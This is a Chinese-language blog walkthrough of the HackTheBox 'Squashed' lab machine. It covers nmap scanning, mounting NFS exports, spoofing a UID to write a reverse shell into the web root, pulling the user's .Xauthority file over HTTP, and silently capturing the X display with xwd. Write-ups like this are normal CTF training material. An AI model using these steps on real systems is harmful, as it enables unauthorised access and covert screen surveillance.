HackTheBox Squashed

nmap -sS -sC -sV -Pn 10.10.11.191 -o squashed

访问网站,没有找到呦价值的信息。

# 查看目标的挂载目录
showmount -e 10.10.11.191

# 将目标的挂载目录挂载到本地
mount -t nfs 10.10.11.191:/home/ross ross
mount -t nfs 10.10.11.191:/var/www/html html

就当我准备进入挂载的html目录是,显示拒绝访问;ls -al 查看,发现文件所属为:权限为www-data且uid为2017的用户。

# 创建一个用户并且查看用户的uid
useradd demo
cat /etc/passwd | grep "demo"

# 修改用户ID
usermod -u 2017 demo

# 修改用户组ID
groupmod -g 2017 demo

然后切换用户,写入反弹shell,拷贝到刚才挂载的目录下

再来查看/home/ross目录下的文件

https://docs.citrix.com/zh-cn/linux-virtual-delivery-agent/1912-ltsr/configuration/configure-xauthority.html
可以在每个用户的主目录中找到 .Xauthority 文件。它用于将凭据存储在 xauth 使用的 cookie 中以用于对 XServer 进行身份验证。启动 XServer 实例 (Xorg) 后,该 cookie 将用于对与该特定显示的连接进行身份验证。

此刻,我们在目标服务器上利用python创建http服务,下载.Xauthority文件到攻击机

wget http://10.10.11.191:8080/.Xauthority

现在我们可以验证是否存在与我们在 HackTricks 中找到的命令的连接。为此,我们必须首先知道屏幕的名称。使用命令,我们看到屏幕是w:0

利用如下命令远程制作屏幕截图

xwd -root -screen -silent -display :0 > /tmp/screen.xwd

-root: 选择整个屏幕
-screen: 发送截屏请求
-silent: 悄悄操作
-display: 连接到指定服务器

使用在线工具将xwd文件转换为png图片

https://onlineconvertfree.com/zh/convert/xwd/

成功获取到root flag

posted @ 2023-02-25 16:55  Cx330Lm  阅读(27)  评论(0编辑  收藏  举报